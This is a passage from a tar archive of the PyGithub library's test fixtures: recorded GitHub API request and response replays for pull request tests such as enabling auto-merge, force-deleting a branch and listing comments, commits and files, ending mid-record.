'gzip'), ('X-GitHub-Request-Id', '8A96:10854:895AE2:8AB25B:64803F81')] {"data": {"enablePullRequestAutoMerge": {"actor": {"avatarUrl": "https://avatars.githubusercontent.com/u/14806300?u=786f9f8ef8782d45381b01580f7f7783cf9c7e37&v=4", "login": "heitorpolidoro", "resourcePath": "/heitorpolidoro", "url": "https://github.com/heitorpolidoro"}, "clientMutationId": null}}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testEnableAutomergeDefaultValues.txt0000644000175100001660000000436514756101563027637 0ustar00runnerdockerhttps POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'Content-Type': 'application/json', 'User-Agent': 'PyGithub/Python'} {"query": "mutation Mutation($input: EnablePullRequestAutoMergeInput!) { enablePullRequestAutoMerge(input: $input) { actor { avatarUrl login resourcePath url } clientMutationId } }", "variables": {"input": {"pullRequestId": "MDExOlB1bGxSZXF1ZXN0MTQzNjIxNQ==", "mergeMethod": "MERGE"}}} 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jun 2023 08:27:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1573389419d98a2b3d9a6b1fc058a68f1fc3d31108ccfdab8ca4121153626211"'), ('Last-Modified', 'Wed, 07 Jun 2023 04:02:03 GMT'), ('X-OAuth-Scopes', 'public_repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4959'), ('X-RateLimit-Reset', '1686126614'), ('X-RateLimit-Used', '41'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8A96:10854:895AE2:8AB25B:64803F81')] {"data": {"enablePullRequestAutoMerge": {"actor": {"avatarUrl": "https://avatars.githubusercontent.com/u/14806300?u=786f9f8ef8782d45381b01580f7f7783cf9c7e37&v=4", "login": "heitorpolidoro", "resourcePath": "/heitorpolidoro", "url": "https://github.com/heitorpolidoro"}, "clientMutationId": null}}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testEnableAutomergeError.txt0000644000175100001660000000427414756101563026163 0ustar00runnerdockerhttps POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'Content-Type': 'application/json', 'User-Agent': 'PyGithub/Python'} {"query": "mutation Mutation($input: EnablePullRequestAutoMergeInput!) { enablePullRequestAutoMerge(input: $input) { actor { avatarUrl login resourcePath url } clientMutationId } }", "variables": {"input": {"pullRequestId": "MDExOlB1bGxSZXF1ZXN0MTQzNjIxNQ==", "mergeMethod": "MERGE"}}} 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jun 2023 08:27:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1573389419d98a2b3d9a6b1fc058a68f1fc3d31108ccfdab8ca4121153626211"'), ('Last-Modified', 'Wed, 07 Jun 2023 04:02:03 GMT'), ('X-OAuth-Scopes', 'public_repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4959'), ('X-RateLimit-Reset', '1686126614'), ('X-RateLimit-Used', '41'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8A96:10854:895AE2:8AB25B:64803F81')] {"data": {"enablePullRequestAutoMerge": null}, "errors": [{"locations": [{"column": 81, "line": 1}], "message": "Pull request Auto merge is not allowed for this repository", "path": ["enablePullRequestAutoMerge"], "type": "UNPROCESSABLE"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testForceDeleteBranch.txt0000644000175100001660000002117214756101563025405 0ustar00runnerdockerhttps GET api.github.com None /repos/austinsasko/PyGithub/branches/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 11 Dec 2020 22:16:28 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"9e7706dfd919e04e9df872052add55475df9953d3b9c0d20df34fdeb8effc446"'), ('X-OAuth-Scopes', 'public_repo, read:user, repo:status'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1607728588'), ('X-RateLimit-Used', '3'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'FFA0:6731:124B3:367DC:5FD3EFBC')] {"name":"revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing","_links":{"self":"https://api.github.com/repos/austinsasko/PyGithub/branches/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing","html":"https://github.com/austinsasko/PyGithub/tree/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing"},"protected":false,"protection":{"enabled":false,"required_status_checks":{"enforcement_level":"off","contexts":[]}},"protection_url":"https://api.github.com/repos/austinsasko/PyGithub/branches/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing/protection"} https GET api.github.com None /repos/austinsasko/PyGithub/git/refs/heads/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 11 Dec 2020 22:16:29 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"50d4d8f24500a45face48f0774778f2df511639264b29745fc3a3dd0880943a6"'), ('Last-Modified', 'Fri, 11 Dec 2020 22:14:24 GMT'), ('X-Poll-Interval', '300'), ('X-OAuth-Scopes', 'public_repo, read:user, repo:status'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1607728588'), ('X-RateLimit-Used', '4'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'FFA1:76B4:3F2D8:A2CD4:5FD3EFBC')] {"ref":"refs/heads/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing","node_id":"MDM6UmVmMzIwNjYxMzYwOnJlZnMvaGVhZHMvcmV2ZXJ0LTIwLXJldmVydC0xOS1yZXZlcnQtMTgtcmV2ZXJ0LTE2LXJldmVydC0xNS1yZXZlcnQtMTQtcmV2ZXJ0LTEzLXJldmVydC0xMi1yZXZlcnQtMTEtcmV2ZXJ0LTEwLXJldmVydC05LXJldmVydC04LXJldmVydC03LXJldmVydC02LXJldmVydC01LXJldmVydC00LXJldmVydC0zLXJldmVydC0yLXJldmVydC0xLXRlc3Rpbmc=","url":"https://api.github.com/repos/austinsasko/PyGithub/git/refs/heads/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing","object":{"sha":"adf76c80c6d28dc2d47b1a22622082786192c887","type":"commit","url":"https://api.github.com/repos/austinsasko/PyGithub/git/commits/adf76c80c6d28dc2d47b1a22622082786192c887"}} https DELETE api.github.com None /repos/austinsasko/PyGithub/git/refs/heads/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Fri, 11 Dec 2020 22:16:29 GMT'), ('Status', '204 No Content'), ('X-OAuth-Scopes', 'public_repo, read:user, repo:status'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4995'), ('X-RateLimit-Reset', '1607728588'), ('X-RateLimit-Used', '5'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'FFA2:3778:6FA05:FC2B3:5FD3EFBD')] https GET api.github.com None /repos/austinsasko/PyGithub/branches/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('Server', 'GitHub.com'), ('Date', 'Fri, 11 Dec 2020 22:16:29 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '404 Not Found'), ('X-OAuth-Scopes', 'public_repo, read:user, repo:status'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4994'), ('X-RateLimit-Reset', '1607728588'), ('X-RateLimit-Used', '6'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'FFA3:30F5:D60A4:1711DC:5FD3EFBD')] {"message":"Branch not found","documentation_url":"https://docs.github.com/rest/reference/repos#get-a-branch"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testGetComments.txt0000644000175100001660000001532214756101563024333 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/pulls/31/comments?sort=updated&direction=desc&since=1970-01-01T00%3A00%3A00Z {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jun 2023 08:35:59 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"2d798fc8a4b3bdc86462c9e8e65753f25688b137c42e092cdc2d02ed94240f17"'), ('X-OAuth-Scopes', 'public_repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4988'), ('X-RateLimit-Reset', '1686130493'), ('X-RateLimit-Used', '12'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '9876:0C54:8EE1A2:90498F:6480416E')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/197784357","pull_request_review_id":131593233,"id":197784357,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDE5Nzc4NDM1Nw==","diff_hunk":"@@ -3,13 +3,13 @@\n class IssueEvent( Framework.TestCase ):\r\n def setUp( self ):\r\n Framework.TestCase.setUp( self )\r\n- self.event = self.g.get_user().get_repo( \"PyGithub\" ).get_issues_event( 15819975 )\r\n+ self.event = self.g.get_user().get_repo( \"PyGithub\" ).get_issues_event( 16348656 )\r\n \r","path":"test/IssueEvent.py","commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","original_commit_id":"4aadfff21cdd2d2566b0e4bd7309c233b5f4ae23","user":{"login":"eamanu","id":7605307,"node_id":"MDQ6VXNlcjc2MDUzMDc=","avatar_url":"https://avatars.githubusercontent.com/u/7605307?v=4","gravatar_id":"","url":"https://api.github.com/users/eamanu","html_url":"https://github.com/eamanu","followers_url":"https://api.github.com/users/eamanu/followers","following_url":"https://api.github.com/users/eamanu/following{/other_user}","gists_url":"https://api.github.com/users/eamanu/gists{/gist_id}","starred_url":"https://api.github.com/users/eamanu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/eamanu/subscriptions","organizations_url":"https://api.github.com/users/eamanu/orgs","repos_url":"https://api.github.com/users/eamanu/repos","events_url":"https://api.github.com/users/eamanu/events{/privacy}","received_events_url":"https://api.github.com/users/eamanu/received_events","type":"User","site_admin":false},"body":"Test Case Dissmiss Review","created_at":"2018-06-25T12:54:34Z","updated_at":"2018-06-25T12:54:43Z","html_url":"https://github.com/PyGithub/PyGithub/pull/31#discussion_r197784357","pull_request_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31","author_association":"NONE","_links":{"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/197784357"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/31#discussion_r197784357"},"pull_request":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31"}},"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/197784357/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"start_line":null,"original_start_line":null,"start_side":null,"line":7,"original_line":7,"side":"RIGHT","original_position":6,"position":6,"subject_type":"line"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/1580134","pull_request_review_id":null,"id":1580134,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDE1ODAxMzQ=","diff_hunk":"@@ -70,7 +70,7 @@ def __useAttributes( self, attributes ):\n \n # @todo No need to check if attribute is in attributes when attribute is mandatory\n {% for attribute in class.attributes|dictsort:\"name\" %}\n- if \"{{ attribute.name }}\" in attributes and attributes[ \"{{ attribute.name }}\" ] is not None:\n+ if \"{{ attribute.name }}\" in attributes and attributes[ \"{{ attribute.name }}\" ] is not None: # pragma no branch","path":"codegen/templates/GithubObject.py","commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","original_commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","user":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"body":"Review comment created for PyGithub\n","created_at":"2012-09-11T20:06:32Z","updated_at":"2012-09-11T20:06:32Z","html_url":"https://github.com/PyGithub/PyGithub/pull/31#discussion_r1580134","pull_request_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31","author_association":"MEMBER","_links":{"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/1580134"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/31#discussion_r1580134"},"pull_request":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31"}},"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/1580134/reactions","total_count":2,"+1":1,"-1":0,"laugh":0,"hooray":1,"confused":0,"heart":0,"rocket":0,"eyes":0},"start_line":null,"original_start_line":null,"start_side":null,"line":73,"original_line":null,"side":"RIGHT","original_position":5,"position":5,"subject_type":"line"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testGetCommits.txt0000644000175100001660000001163314756101563024162 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/pulls/31/commits {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4975'), ('content-length', '4531'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"b4ea459213c1dd415628476619cbbc25"'), ('date', 'Sun, 27 May 2012 10:20:23 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"author":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/4aadfff21cdd2d2566b0e4bd7309c233b5f4ae23","committer":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"sha":"4aadfff21cdd2d2566b0e4bd7309c233b5f4ae23","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/ed866fc43833802ab553e5ff8581c81bb00dd433","sha":"ed866fc43833802ab553e5ff8581c81bb00dd433"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-27T00:33:23-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/4aadfff21cdd2d2566b0e4bd7309c233b5f4ae23","message":"Improve test coverage","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-27T00:33:23-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/3447efc7d0f2e0197a722c55c13cde7417d1f2d3","sha":"3447efc7d0f2e0197a722c55c13cde7417d1f2d3"}}},{"author":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/93dcae5cf207de376c91d0599226e7c7563e1d16","committer":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"sha":"93dcae5cf207de376c91d0599226e7c7563e1d16","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/4aadfff21cdd2d2566b0e4bd7309c233b5f4ae23","sha":"4aadfff21cdd2d2566b0e4bd7309c233b5f4ae23"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-27T00:37:17-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/93dcae5cf207de376c91d0599226e7c7563e1d16","message":"Remove branch coverage for optional attributes (temporary?)","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-27T00:37:17-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/d925a951cd6a5442e91dcfded3171520e9cca5de","sha":"d925a951cd6a5442e91dcfded3171520e9cca5de"}}},{"author":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/8a4f306d4b223682dd19410d4a9150636ebe4206","committer":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/93dcae5cf207de376c91d0599226e7c7563e1d16","sha":"93dcae5cf207de376c91d0599226e7c7563e1d16"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-27T02:07:47-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/8a4f306d4b223682dd19410d4a9150636ebe4206","message":"Test (and implement) Issue.*_label*\n\nAnd this commit will be used to test PullRequests","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-27T02:07:47-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/fa0251344d6b0b9f69f33c1faf6e3323001b309d","sha":"fa0251344d6b0b9f69f33c1faf6e3323001b309d"}}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testGetFiles.txt0000644000175100001660000051071014756101563023611 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/pulls/31/files {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4971'), ('content-length', '169480'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"a6f83dd38ea0a62d423fefb7b8353561"'), ('date', 'Sun, 27 May 2012 10:21:15 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"patch":"@@ -70,7 +70,7 @@ def __useAttributes( self, attributes ):\n \n # @toto No need to check if attribute is in attributes when attribute is mandatory\n {% for attribute in class.attributes|dictsort:\"name\" %}\n- if \"{{ attribute.name }}\" in attributes and attributes[ \"{{ attribute.name }}\" ] is not None:\n+ if \"{{ attribute.name }}\" in attributes and attributes[ \"{{ attribute.name }}\" ] is not None: # pragma no branch\n \n {% if attribute.type.cardinality == \"scalar\" %}\n {% if attribute.type.simple %}","status":"modified","deletions":1,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/codegen/templates/GithubObject.py","changes":2,"additions":1,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/codegen/templates/GithubObject.py","filename":"codegen/templates/GithubObject.py"},{"patch":"@@ -568,78 +568,78 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"avatar_url\", \"bio\", \"blog\", 